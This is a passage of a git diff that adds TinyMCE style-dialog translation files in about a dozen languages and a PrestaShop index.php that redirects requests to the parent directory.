+tinyMCE.addI18n('hu.style_dlg',{"text_lineheight":"Sormagass\u00e1g","text_variant":"V\u00e1ltozat","text_style":"St\u00edlus","text_weight":"Sz\u00e9less\u00e9g","text_size":"M\u00e9ret","text_font":"Bet\u0171t\u00edpus","text_props":"Sz\u00f6veg","positioning_tab":"Poz\u00edci\u00f3","list_tab":"Lista","border_tab":"Keret","box_tab":"Doboz","block_tab":"Blokk","background_tab":"H\u00e1tt\u00e9r","text_tab":"Sz\u00f6veg",apply:"Alkalmaz",title:"CSS st\u00edlus szerkest\u00e9se",clip:"Lev\u00e1g\u00e1s",placement:"Elhelyez\u00e9s",overflow:"Kifut\u00e1s",zindex:"Z-index",visibility:"L\u00e1that\u00f3s\u00e1g","positioning_type":"T\u00edpus",position:"Poz\u00edci\u00f3","bullet_image":"Elemk\u00e9p","list_type":"T\u00edpus",color:"Sz\u00edn",height:"Magass\u00e1g",width:"Sz\u00e9less\u00e9g",style:"St\u00edlus",margin:"Marg\u00f3",left:"Balra",bottom:"Lent",right:"Jobbra",top:"Fel\u00fcl",same:"Mindenhol ugyanaz",padding:"Bels\u0151 marg\u00f3","box_clear":"Lebeg\u00e9s (float) t\u00f6rl\u00e9se","box_float":"Lebeg\u00e9s (float)","box_height":"Magass\u00e1g","box_width":"Sz\u00e9less\u00e9g","block_display":"Megjelen\u00edt\u00e9s","block_whitespace":"T\u00e9rk\u00f6z","block_text_indent":"Sz\u00f6veg beh\u00faz\u00e1sa","block_text_align":"Sz\u00f6veg igaz\u00edt\u00e1sa","block_vertical_alignment":"F\u00fcgg\u0151leges igaz\u00edt\u00e1s","block_letterspacing":"Bet\u0171t\u00e1vols\u00e1g","block_wordspacing":"Sz\u00f3t\u00e1vols\u00e1g","background_vpos":"F\u00fcgg\u0151leges hely","background_hpos":"V\u00edzszintes hely","background_attachment":"Csatolm\u00e1ny","background_repeat":"Ism\u00e9tl\u00e9s","background_image":"H\u00e1tt\u00e9rk\u00e9p","background_color":"H\u00e1tt\u00e9rsz\u00edn","text_none":"egyik sem","text_blink":"villog\u00e1s","text_case":"eset","text_striketrough":"\u00e1th\u00fazott","text_underline":"al\u00e1h\u00fazott","text_overline":"fel\u00fclh\u00fazott","text_decoration":"dekor\u00e1ci\u00f3","text_color":"sz\u00edn",text:"Sz\u00f6veg",background:"H\u00e1tt\u00e9r",block:"Blokk",box:"Doboz",border:"Keret",list:"Lista"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/langs/id_dlg.js b/js/tiny_mce2/plugins/style/langs/id_dlg.js new file mode 100755 index 0000000..b8862d6 --- /dev/null +++ b/js/tiny_mce2/plugins/style/langs/id_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('id.style_dlg',{"text_lineheight":"Line height","text_variant":"Variant","text_style":"Style","text_weight":"Weight","text_size":"Size","text_font":"Font","text_props":"Text","positioning_tab":"Positioning","list_tab":"List","border_tab":"Border","box_tab":"Box","block_tab":"Block","background_tab":"Background","text_tab":"Text",apply:"Apply",title:"Edit CSS Style",clip:"Clip",placement:"Placement",overflow:"Overflow",zindex:"Z-index",visibility:"Visibility","positioning_type":"Type",position:"Position","bullet_image":"Bullet image","list_type":"Type",color:"Color",height:"Height",width:"Width",style:"Style",margin:"Margin",left:"Left",bottom:"Bottom",right:"Right",top:"Top",same:"Same for all",padding:"Padding","box_clear":"Clear","box_float":"Float","box_height":"Height","box_width":"Width","block_display":"Display","block_whitespace":"Whitespace","block_text_indent":"Text indent","block_text_align":"Text align","block_vertical_alignment":"Vertical alignment","block_letterspacing":"Letter spacing","block_wordspacing":"Word spacing","background_vpos":"Vertical position","background_hpos":"Horizontal position","background_attachment":"Attachment","background_repeat":"Repeat","background_image":"Background image","background_color":"Background color","text_none":"none","text_blink":"blink","text_case":"Case","text_striketrough":"strikethrough","text_underline":"underline","text_overline":"overline","text_decoration":"Decoration","text_color":"Color",text:"Text",background:"Background",block:"Block",box:"Box",border:"Border",list:"List"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/langs/index.php b/js/tiny_mce2/plugins/style/langs/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/style/langs/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/style/langs/it_dlg.js b/js/tiny_mce2/plugins/style/langs/it_dlg.js new file mode 100755 index 0000000..401b727 --- /dev/null +++ b/js/tiny_mce2/plugins/style/langs/it_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('it.style_dlg',{"text_lineheight":"Altezza linea","text_variant":"Variante","text_style":"Stile","text_weight":"Spessore","text_size":"Dimensione","text_font":"Carattere","text_props":"Testo","positioning_tab":"Posizionamento","list_tab":"Liste","border_tab":"Bordi","box_tab":"Contenitore","block_tab":"Blocco","background_tab":"Sfondo","text_tab":"Testo",apply:"Applica",title:"Modifica stile CSS",clip:"Clip",placement:"Piazzamento",overflow:"Overflow",zindex:"Z-index",visibility:"Visibilit\u00e0","positioning_type":"Tipo",position:"Posizione","bullet_image":"Immagine Punto","list_type":"Tipo",color:"Colore",height:"Altezza",width:"Larghezza",style:"Stile",margin:"Margine",left:"Sinistro",bottom:"Inferiore",right:"Destro",top:"Superiore",same:"Uguale per tutti",padding:"Spazio dal bordo","box_clear":"Pulito","box_float":"Fluttuante","box_height":"Altezza","box_width":"Larghezza","block_display":"Visualizzazione","block_whitespace":"Whitespace","block_text_indent":"Indentazione testo","block_text_align":"Allineamento testo","block_vertical_alignment":"Allineamento verticale","block_letterspacing":"Spaziatura caratteri","block_wordspacing":"Spaziatura parole","background_vpos":"Posizione verticale","background_hpos":"Posizione orizzontale","background_attachment":"Allegato","background_repeat":"Repetizione","background_image":"Immagine sfondo","background_color":"Colore sfondo","text_none":"nessuna","text_blink":"lampeggiante","text_case":"Tipo","text_striketrough":"barrato","text_underline":"sottolineato","text_overline":"sopralineato","text_decoration":"Decorazione","text_color":"Colore",text:"Testo",background:"Sfondo",block:"Blocco",box:"Box",border:"Bordo",list:"Lista"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/langs/ja_dlg.js b/js/tiny_mce2/plugins/style/langs/ja_dlg.js new file mode 100755 index 0000000..2eb9c3d --- /dev/null +++ b/js/tiny_mce2/plugins/style/langs/ja_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ja.style_dlg',{"text_lineheight":"\u884c\u306e\u9ad8\u3055","text_variant":"\u5909\u5f62","text_style":"\u30b9\u30bf\u30a4\u30eb","text_weight":"\u592a\u3055","text_size":"\u30b5\u30a4\u30ba","text_font":"\u30d5\u30a9\u30f3\u30c8","text_props":"\u30c6\u30ad\u30b9\u30c8","positioning_tab":"\u4f4d\u7f6e","list_tab":"\u30ea\u30b9\u30c8","border_tab":"\u67a0\u7dda","box_tab":"\u30dc\u30c3\u30af\u30b9","block_tab":"\u30d6\u30ed\u30c3\u30af","background_tab":"\u80cc\u666f","text_tab":"\u6587\u5b57",apply:"\u9069\u7528",title:"CSS\u306e\u30b9\u30bf\u30a4\u30eb\u3092\u7de8\u96c6",clip:"\u5207\u308a\u629c\u304d",placement:"\u914d\u7f6e",overflow:"\u30aa\u30fc\u30d0\u30fc\u30d5\u30ed\u30fc",zindex:"Z-index",visibility:"\u8868\u793a","positioning_type":"\u914d\u7f6e\u65b9\u6cd5",position:"\u8868\u793a\u4f4d\u7f6e","bullet_image":"\u30de\u30fc\u30ab\u30fc\u753b\u50cf","list_type":"\u30de\u30fc\u30ab\u30fc\u7a2e\u985e",color:"\u8272",height:"\u9ad8\u3055",width:"\u5e45",style:"\u30b9\u30bf\u30a4\u30eb",margin:"\u30de\u30fc\u30b8\u30f3",left:"\u5de6",bottom:"\u4e0b",right:"\u53f3",top:"\u4e0a",same:"\u3059\u3079\u3066\u540c\u3058",padding:"\u30d1\u30c7\u30a3\u30f3\u30b0","box_clear":"\u56de\u308a\u8fbc\u307f\u89e3\u9664","box_float":"\u56de\u308a\u8fbc\u307f","box_height":"\u9ad8\u3055","box_width":"\u5e45","block_display":"\u30c7\u30a3\u30b9\u30d7\u30ec\u30a4","block_whitespace":"\u7a7a\u767d\u6587\u5b57","block_text_indent":"\u30c6\u30ad\u30b9\u30c8\u306e\u5b57\u4e0b\u3052","block_text_align":"\u30c6\u30ad\u30b9\u30c8\u306e\u6c34\u5e73\u914d\u7f6e","block_vertical_alignment":"\u5782\u76f4\u914d\u7f6e","block_letterspacing":"\u6587\u5b57\u9593\u9694","block_wordspacing":"\u5358\u8a9e\u9593\u9694","background_vpos":"\u5782\u76f4\u4f4d\u7f6e","background_hpos":"\u6c34\u5e73\u4f4d\u7f6e","background_attachment":"\u6dfb\u4ed8","background_repeat":"\u7e70\u308a\u8fd4\u3057","background_image":"\u80cc\u666f\u753b\u50cf","background_color":"\u80cc\u666f\u8272","text_none":"\u306a\u3057","text_blink":"\u70b9\u6ec5","text_case":"\u5927\u6587\u5b57/\u5c0f\u6587\u5b57","text_striketrough":"\u6253\u6d88\u3057\u7dda","text_underline":"\u4e0b\u7dda","text_overline":"\u4e0a\u7dda","text_decoration":"\u88c5\u98fe","text_color":"\u8272",text:"\u6587\u5b57",background:"\u80cc\u666f",block:"\u30d6\u30ed\u30c3\u30af",box:"\u30dc\u30c3\u30af\u30b9",border:"\u67a0\u7dda",list:"\u30ea\u30b9\u30c8"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/langs/ka_dlg.js b/js/tiny_mce2/plugins/style/langs/ka_dlg.js new file mode 100755 index 0000000..442f54e --- /dev/null +++ b/js/tiny_mce2/plugins/style/langs/ka_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ka.style_dlg',{"text_lineheight":"\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1 \u10e1\u10d8\u10db\u10d0\u10e6\u10da\u10d4","text_variant":"\u10d5\u10d0\u10e0\u10d8\u10d0\u10dc\u10e2\u10d8","text_style":"\u10e1\u10e2\u10d8\u10da\u10d8","text_weight":"\u10e1\u10d8\u10e1\u10e5\u10d4","text_size":"\u10d6\u10dd\u10db\u10d0","text_font":"\u10e8\u10e0\u10d8\u10e4\u10e2\u10d8","text_props":"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8","positioning_tab":"\u10de\u10dd\u10d6\u10d8\u10ea\u10d8\u10dd\u10dc\u10d8\u10e0\u10d4\u10d1\u10d0","list_tab":"\u10e1\u10d8\u10d0","border_tab":"\u10e1\u10d0\u10d6\u10e6\u10d5\u10d0\u10e0\u10d8","box_tab":"\u10d9\u10d8\u10d3\u10d4\u10d4\u10d1\u10d8","block_tab":"\u10d1\u10da\u10dd\u10d9\u10d8","background_tab":"\u10e4\u10dd\u10dc\u10d8","text_tab":"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8",apply:"\u10d2\u10d0\u10db\u10dd\u10d5\u10d8\u10e7\u10d4\u10dc\u10dd\u10d7",title:"CSS \u10e1\u10e2\u10d8\u10da\u10d8\u10e1 \u10e0\u10d4\u10d3\u10d0\u10e5\u10e2\u10dd\u10e0\u10d8",clip:"\u10db\u10dd\u10d9\u10d5\u10d4\u10d7\u10d0",placement:"\u10d2\u10d0\u10dc\u10d7\u10d0\u10d5\u10e1\u10d4\u10d1\u10d0",overflow:"\u10d2\u10d0\u10d3\u10d0\u10d5\u10e1\u10d4\u10d1\u10d0",zindex:"Z-\u10d8\u10dc\u10d3\u10d4\u10e5\u10e1\u10d8",visibility:"\u10ee\u10d8\u10da\u10d5\u10d0\u10d3\u10dd\u10d1\u10d0","positioning_type":"\u10e2\u10d8\u10de\u10d8",position:"\u10de\u10dd\u10d6\u10d8\u10ea\u10d8\u10d0","bullet_image":"\u10db\u10d0\u10e0\u10d9\u10d4\u10e0\u10d8","list_type":"\u10e2\u10d8\u10de\u10d8",color:"\u10e4\u10d4\u10e0\u10d8",height:"\u10e1\u10d8\u10db\u10d0\u10e6\u10da\u10d4",width:"\u10e1\u10d8\u10d2\u10d0\u10dc\u10d4",style:"\u10e1\u10e2\u10d8\u10da\u10d8",margin:"\u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d0",left:"\u10db\u10d0\u10e0\u10ea\u10ee\u10dc\u10d8\u10d5",bottom:"\u10e5\u10d5\u10d4\u10db\u10dd\u10d7",right:"\u10db\u10d0\u10e0\u10ef\u10d5\u10dc\u10d8\u10d5",top:"\u10d6\u10d4\u10db\u10dd\u10d7",same:"\u10e7\u10d5\u10d4\u10da\u10d0\u10e1\u10d7\u10d5\u10d8\u10e1 \u10d4\u10e0\u10d7\u10dc\u10d0\u10d4\u10e0\u10d0\u10d3",padding:"\u10db\u10d8\u10dc\u10d3\u10d5\u10e0\u10d4\u10d1\u10d8","box_clear":"\u10db\u10dd\u10e1\u10e3\u10e4\u10d7\u10d0\u10d5\u10d4\u10d1\u10d0","box_float":"\u10db\u10dd\u10ea\u10e3\u10e0\u10d0\u10d5\u10d4","box_height":"\u10e1\u10d8\u10db\u10d0\u10e6\u10da\u10d4","box_width":"\u10e1\u10d8\u10d2\u10d0\u10dc\u10d4","block_display":"\u10d0\u10e1\u10d0\u10ee\u10d5\u10d0","block_whitespace":"\u10e1\u10d8\u10d5\u10e0\u10ea\u10d4","block_text_indent":"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d0","block_text_align":"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10d2\u10d0\u10e1\u10ec\u10dd\u10e0\u10d4\u10d1\u10d0","block_vertical_alignment":"\u10d5\u10d4\u10e0\u10e2\u10d8\u10d9\u10d0\u10da\u10e3\u10e0\u10d8 \u10d2\u10d0\u10e1\u10ec\u10dd\u10e0\u10d4\u10d1\u10d0","block_letterspacing":"\u10d0\u10e1\u10dd\u10d4\u10d1\u10e1 \u10e8\u10dd\u10e0\u10d8\u10e1 \u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d0","block_wordspacing":"\u10e1\u10d8\u10e2\u10e7\u10d5\u10d4\u10d1\u10e1 \u10e8\u10dd\u10e0\u10d8\u10e1 \u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d0","background_vpos":"\u10d5\u10d4\u10e0\u10e2\u10d8\u10d9\u10d0\u10da\u10e3\u10e0\u10d8 \u10de\u10dd\u10d6\u10d8\u10ea\u10d8\u10d0","background_hpos":"\u10f0\u10dd\u10e0\u10d8\u10d6\u10dd\u10dc\u10e2\u10d0\u10da\u10e3\u10e0\u10d8 \u10de\u10dd\u10d6\u10d8\u10ea\u10d8\u10d0","background_attachment":"\u10db\u10d8\u10d1\u10db\u10d0","background_repeat":"\u10d2\u10d0\u10db\u10d4\u10dd\u10e0\u10d4\u10d1\u10d0","background_image":"\u10e4\u10dd\u10dc\u10d8\u10e1 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10ee\u10e3\u10da\u10d4\u10d1\u10d0","background_color":"\u10e4\u10dd\u10dc\u10d8\u10e1 \u10e4\u10d4\u10e0\u10d8","text_none":"\u10e7\u10d5\u10d4\u10da\u10d0\u10e4\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4","text_blink":"\u10db\u10dd\u10ea\u10d8\u10db\u10ea\u10d8\u10db\u10d4","text_case":"\u10e0\u10d4\u10d2\u10d8\u10e1\u10e2\u10e0\u10d8","text_striketrough":"\u10d2\u10d0\u10d3\u10d0\u10ee\u10d0\u10d6\u10e3\u10da\u10d8","text_underline":"\u10db\u10dd\u10ee\u10d0\u10d6\u10e3\u10da\u10d8","text_overline":"\u10d6\u10d4\u10d3\u10d0 \u10ee\u10d0\u10d6\u10d8\u10d7","text_decoration":"\u10d2\u10d0\u10e4\u10dd\u10e0\u10db\u10d4\u10d1\u10d0","text_color":"\u10e4\u10d4\u10e0\u10d8",text:"Text",background:"Background",block:"Block",box:"Box",border:"Border",list:"List"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/langs/ko_dlg.js b/js/tiny_mce2/plugins/style/langs/ko_dlg.js new file mode 100755 index 0000000..2a7166b --- /dev/null +++ b/js/tiny_mce2/plugins/style/langs/ko_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ko.style_dlg',{"text_lineheight":"\ud589 \ub192\uc774","text_variant":"Variant","text_style":"\uc2a4\ud0c0\uc77c","text_weight":"\uad75\uae30","text_size":"\ud06c\uae30","text_font":"\uae00\uaf34","text_props":"\ud14d\uc2a4\ud2b8","positioning_tab":"\uc704\uce58","list_tab":"\ub9ac\uc2a4\ud2b8","border_tab":"\ud14c\ub450\ub9ac\uc120","box_tab":"\ubc15\uc2a4","block_tab":"\ube14\ub85d","background_tab":"\ubc30\uacbd","text_tab":"\ud14d\uc2a4\ud2b8",apply:"\uc801\uc6a9",title:"CSS \ud3b8\uc9d1",clip:"Clip",placement:"\uc704\uce58(placement)",overflow:"\uc624\ubc84\ud50c\ub85c\uc6b0",zindex:"Z-index",visibility:"\uac00\uc2dc\uc131","positioning_type":"\ud0c0\uc785",position:"\uc704\uce58","bullet_image":"\ube14\ub9bf \uc774\ubbf8\uc9c0","list_type":"\ubaa9\ub85d\uc885\ub958",color:"\uc0c9",height:"\ub192\uc774",width:"\ud3ed",style:"\uc2a4\ud0c0\uc77c",margin:"\ub9c8\uc9c4",left:"\uc88c",bottom:"\ud558",right:"\uc6b0",top:"\uc0c1",same:"\ubaa8\ub450 \ub611\uac19\uc774",padding:"padding","box_clear":"Clear","box_float":"float","box_height":"\ub192\uc774","box_width":"\ud3ed","block_display":"\ud45c\uc2dc","block_whitespace":"\uacf5\ubc31 \ubb38\uc790","block_text_indent":"\ub4e4\uc5ec\uc4f0\uae30","block_text_align":"\uc88c\uc6b0 \ub9de\ucda4","block_vertical_alignment":"\uc138\ub85c \ub9de\ucda4","block_letterspacing":"\ubb38\uc790 \uac04\uaca9","block_wordspacing":"\ub2e8\uc5b4 \uac04\uaca9","background_vpos":"\uc138\ub85c \uc704\uce58","background_hpos":"\uac00\ub85c \uc704\uce58","background_attachment":"\ucca8\ubd80","background_repeat":"\ubc18\ubcf5","background_image":"\ubc30\uacbd \uc774\ubbf8\uc9c0","background_color":"\ubc30\uacbd\uc0c9","text_none":"\uc5c6\uc74c","text_blink":"\uc810\uba78","text_case":"\ub300/\uc18c\ubb38\uc790","text_striketrough":"\ucde8\uc18c\uc120","text_underline":"\ubc11\uc904","text_overline":"\uc717\uc904","text_decoration":"\uc7a5\uc2dd","text_color":"\uc0c9",text:"Text",background:"Background",block:"Block",box:"Box",border:"Border",list:"List"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/langs/lt_dlg.js b/js/tiny_mce2/plugins/style/langs/lt_dlg.js new file mode 100755 index 0000000..c8bc042 --- /dev/null +++ b/js/tiny_mce2/plugins/style/langs/lt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('lt.style_dlg',{"text_lineheight":"Eilut\u0117s auk\u0161tis","text_variant":"Variantas","text_style":"Stilius","text_weight":"Storis","text_size":"Dydis","text_font":"\u0160riftas","text_props":"Tekstas","positioning_tab":"Pozicionavimas","list_tab":"S\u0105ra\u0161as","border_tab":"R\u0117melis","box_tab":"D\u0117\u017eut\u0117","block_tab":"Blokas","background_tab":"Fonas","text_tab":"Tekstas",apply:"Taikyti",title:"Redaguoti CSS stili\u0173",clip:"\u012era\u0161as",placement:"Talpinimas",overflow:"Perpildymas",zindex:"Z-indeksas",visibility:"Matomumas","positioning_type":"Tipas",position:"Pozicija","bullet_image":"\u017denklelio paveiksl\u0117lis","list_type":"Tipas",color:"Spalva",height:"Auk\u0161tis",width:"Ilgis",style:"Stilius",margin:"Para\u0161t\u0117",left:"Kair\u0117je",bottom:"Apa\u010dioje",right:"De\u0161in\u0117je",top:"Vir\u0161uje",same:"Tas pats visiems",padding:"U\u017epildymas","box_clear":"I\u0161valyti","box_float":"Slankus","box_height":"Auk\u0161tis","box_width":"Ilgis","block_display":"Rodymas","block_whitespace":"Tarpai","block_text_indent":"Teksto atitraukimas","block_text_align":"Teksto lygiavimas","block_vertical_alignment":"Vertikalus lygiavimas","block_letterspacing":"Tarpai tarp raid\u017ei\u0173","block_wordspacing":"Tarpai tarp \u017eod\u017ei\u0173","background_vpos":"Vertikali pozicija","background_hpos":"Horizontali pozicija","background_attachment":"Priedas","background_repeat":"Kartoti","background_image":"Fono paveiksl\u0117lis","background_color":"Fono spalva","text_none":"joks","text_blink":"mirks\u0117jimas","text_case":"Ma\u017eosios/did\u017eiosios raid\u0117s","text_striketrough":"perbraukta","text_underline":"pabraukta apa\u010dioje","text_overline":"pabraukta vir\u0161uje","text_decoration":"Dekoracija","text_color":"Spalva",text:"Tekstas",background:"Fonas",block:"Blokuoti",box:"D\u0117\u017e\u0117",border:"Siena",list:"\u0160\u0105ra\u0161as"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/langs/nl_dlg.js b/js/tiny_mce2/plugins/style/langs/nl_dlg.js new file mode 100755 index 0000000..ad81f8f --- /dev/null +++ b/js/tiny_mce2/plugins/style/langs/nl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('nl.style_dlg',{"text_lineheight":"Lijnhoogte","text_variant":"Variant","text_style":"Stijl","text_weight":"Gewicht","text_size":"Tekengrootte","text_font":"Lettertype","text_props":"Tekst","positioning_tab":"Positionering","list_tab":"Lijst","border_tab":"Rand","box_tab":"Box","block_tab":"Blok","background_tab":"Achtergrond","text_tab":"Tekst",apply:"Toepassen",title:"CSS Stijl bewerken",clip:"Clip",placement:"Plaatsing",overflow:"Overvloeien",zindex:"Z-index",visibility:"Zichtbaarheid","positioning_type":"Type",position:"Positie","bullet_image":"Opsommingsteken","list_type":"Type",color:"Kleur",height:"Hoogte",width:"Breedte",style:"Stijl",margin:"Marge",left:"Links",bottom:"Onder",right:"Rechts",top:"Boven",same:"Alles hetzelfde",padding:"Opening","box_clear":"Vrijhouden","box_float":"Zweven","box_height":"Hoogte","box_width":"Breedte","block_display":"Weergave","block_whitespace":"Witruimte","block_text_indent":"Inspringen","block_text_align":"Tekstuitlijning","block_vertical_alignment":"Verticale uitlijning","block_letterspacing":"Letterruimte","block_wordspacing":"Woordruimte","background_vpos":"Verticale positie","background_hpos":"Horizontale positie","background_attachment":"Bijlage","background_repeat":"Herhalen","background_image":"Achtergrondafbeelding","background_color":"Achtergrondkleur","text_none":"Niets","text_blink":"Knipperen","text_case":"Hoofdlettergebruik","text_striketrough":"Doorhalen","text_underline":"Onderstrepen","text_overline":"Overhalen","text_decoration":"Decoratie","text_color":"Kleur",text:"Tekst",background:"Achtergrond",block:"Blok",box:"Box",border:"Rand",list:"Lijst"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/langs/no_dlg.js b/js/tiny_mce2/plugins/style/langs/no_dlg.js new file mode 100755 index 0000000..5591c2f --- /dev/null +++ b/js/tiny_mce2/plugins/style/langs/no_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('no.style_dlg',{"text_lineheight":"Linjeh\u00f8yde","text_variant":"Variant","text_style":"Skriftstil","text_weight":"Skriftvekt","text_size":"Skriftst\u00f8rrelse","text_font":"Skrifttype","text_props":"Tekst","positioning_tab":"Posisjon","list_tab":"Liste","border_tab":"Ramme","box_tab":"Boks","block_tab":"Blokk","background_tab":"Bakgrunn","text_tab":"Tekst",apply:"Bruk",title:"Rediger CSS-stil",clip:"Klipp",placement:"Plassering",overflow:"Overfylt",zindex:"Z-indeks",visibility:"Synlighet","positioning_type":"Type",position:"Posisjon","bullet_image":"Punkt bilde","list_type":"Type",color:"Farge",height:"H\u00f8yde",width:"Bredde",style:"Stil",margin:"Marg",left:"Venstre",bottom:"Bunn",right:"H\u00f8yre",top:"Topp",same:"Likt for alle",padding:"Utfylling","box_clear":"Slette","box_float":"Flytende","box_height":"H\u00f8yde","box_width":"Bredde","block_display":"Visning","block_whitespace":"Mellomrom","block_text_indent":"Innrykk","block_text_align":"Justering","block_vertical_alignment":"Vertikal justering","block_letterspacing":"Bokstav mellomrom","block_wordspacing":"Mellomrom","background_vpos":"Vertikal posisjon","background_hpos":"Horisontal posisjon","background_attachment":"Vedlegg","background_repeat":"Repetere","background_image":"Bakgrunnsbilde","background_color":"Bakgrunnsfarge","text_none":"Ingen","text_blink":"Blinke","text_case":"Store/sm\u00e5 bokstaver","text_striketrough":"Gjennomstreke","text_underline":"Senke skrift","text_overline":"Heve skrift","text_decoration":"Dekorasjon","text_color":"Farge",text:"Tekst",background:"Bakgrunn",block:"Blokk",box:"Boks",border:"Ramme",list:"Liste"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/langs/pl_dlg.js b/js/tiny_mce2/plugins/style/langs/pl_dlg.js new file mode 100755 index 0000000..1dd01ce --- /dev/null +++ b/js/tiny_mce2/plugins/style/langs/pl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pl.style_dlg',{"text_lineheight":"Wysoko\u015b\u0107 linii","text_variant":"Wariant","text_style":"Styl","text_weight":"Waga","text_size":"Rozmiar","text_font":"Wz\u00f3r czcionki","text_props":"Tekst","positioning_tab":"Pozycjonowanie","list_tab":"Lista","border_tab":"Obramowanie","box_tab":"Pud\u0142o (box)","block_tab":"Blok","background_tab":"T\u0142o","text_tab":"Text",apply:"Zastosuj",title:"Edytuj style CSS",clip:"Klip",placement:"Umieszczenie",overflow:"Przepe\u0142niony",zindex:"Z-index",visibility:"Widoczno\u015b\u0107","positioning_type":"Typ",position:"Pozycja","bullet_image":"Obrazek listy","list_type":"Typ",color:"Kolor",height:"Wysoko\u015b\u0107",width:"Szeroko\u015b\u0107",style:"Styl",margin:"Margines",left:"Lewy",bottom:"D\u00f3\u0142",right:"Prawy",top:"G\u00f3ra",same:"To samo dla wszystkich",padding:"Odst\u0119py","box_clear":"Op\u0142ywanie (Clear)","box_float":"Op\u0142ywanie (Float)","box_height":"Wysoko\u015b\u0107","box_width":"Szeroko\u015b\u0107","block_display":"Spos\u00f3b wy\u015bwietlania","block_whitespace":"Bia\u0142e znaki","block_text_indent":"Przesuni\u0119cie tekstu","block_text_align":"Wyr\u00f3wnanie tekstu","block_vertical_alignment":"Pionowe wyr\u00f3wnanie","block_letterspacing":"Odst\u0119p mi\u0119dzy literami","block_wordspacing":"Odst\u0119p mi\u0119dzy wyrazami","background_vpos":"Pozycja pionowa","background_hpos":"Pozycja pozioma","background_attachment":"Za\u0142\u0105cznik","background_repeat":"Powt\u00f3rz","background_image":"Obrazek t\u0142a","background_color":"Kolor t\u0142a","text_none":"\u017caden","text_blink":"miganie","text_case":"Znaki","text_striketrough":"przekre\u015blenie","text_underline":"podkre\u015blenie","text_overline":"nadkre\u015blenie","text_decoration":"Dekoracja","text_color":"Kolor",text:"Tekst",background:"T\u0142o",block:"Blok",box:"Pud\u0142o (box)",border:"Obramowanie",list:"Lista"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/langs/pt_dlg.js b/js/tiny_mce2/plugins/style/langs/pt_dlg.js new file mode 100755 index 0000000..21c6b5e --- /dev/null +++ b/js/tiny_mce2/plugins/style/langs/pt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pt.style_dlg',{"text_lineheight":"Altura da linha","text_variant":"Variante","text_style":"Estilo","text_weight":"Peso","text_size":"Tamanho","text_font":"Fonte","text_props":"Texto","positioning_tab":"Posicionamento","list_tab":"Lista","border_tab":"Limites","box_tab":"Caixa","block_tab":"Bloco","background_tab":"Fundo","text_tab":"Texto",apply:"Aplicar",title:"Editar CSS",clip:"Clip",placement:"Posicionamento",overflow:"Overflow",zindex:"Z-index",visibility:"Visibilidade","positioning_type":"Tipo",position:"Posi\u00e7\u00e3o","bullet_image":"Imagem de lista","list_type":"Tipo",color:"Cor",height:"Altura",width:"Largura",style:"Estilo",margin:"Margem",left:"Esquerda",bottom:"Abaixo",right:"Direita",top:"Topo",same:"O mesmo para todos",padding:"Padding","box_clear":"Clear","box_float":"Float","box_height":"Altura","box_width":"Largura","block_display":"Display","block_whitespace":"Espa\u00e7o","block_text_indent":"Indent","block_text_align":"Alinhamento de texto","block_vertical_alignment":"Alinhamento vertical","block_letterspacing":"Espa\u00e7amento de letras","block_wordspacing":"Espa\u00e7amento de palavras","background_vpos":"Posi\u00e7\u00e3o vertical","background_hpos":"Posi\u00e7\u00e3o horizontal","background_attachment":"Fixar","background_repeat":"Repetir","background_image":"Imagem de fundo","background_color":"Cor de fundo","text_none":"nenhum","text_blink":"Piscar","text_case":"Mai\u00fascula","text_striketrough":"Riscado","text_underline":"Sublinhado","text_overline":"Sobrelinha","text_decoration":"Decora\u00e7\u00e3o","text_color":"Cor",text:"Texto",background:"Fundo",block:"Bloco",box:"Caixa",border:"Borda",list:"Lista"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/langs/ro_dlg.js b/js/tiny_mce2/plugins/style/langs/ro_dlg.js new file mode 100755 index 0000000..98a1605 --- /dev/null +++ b/js/tiny_mce2/plugins/style/langs/ro_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ro.style_dlg',{"text_lineheight":"\u00cen\u0103l\u021bime 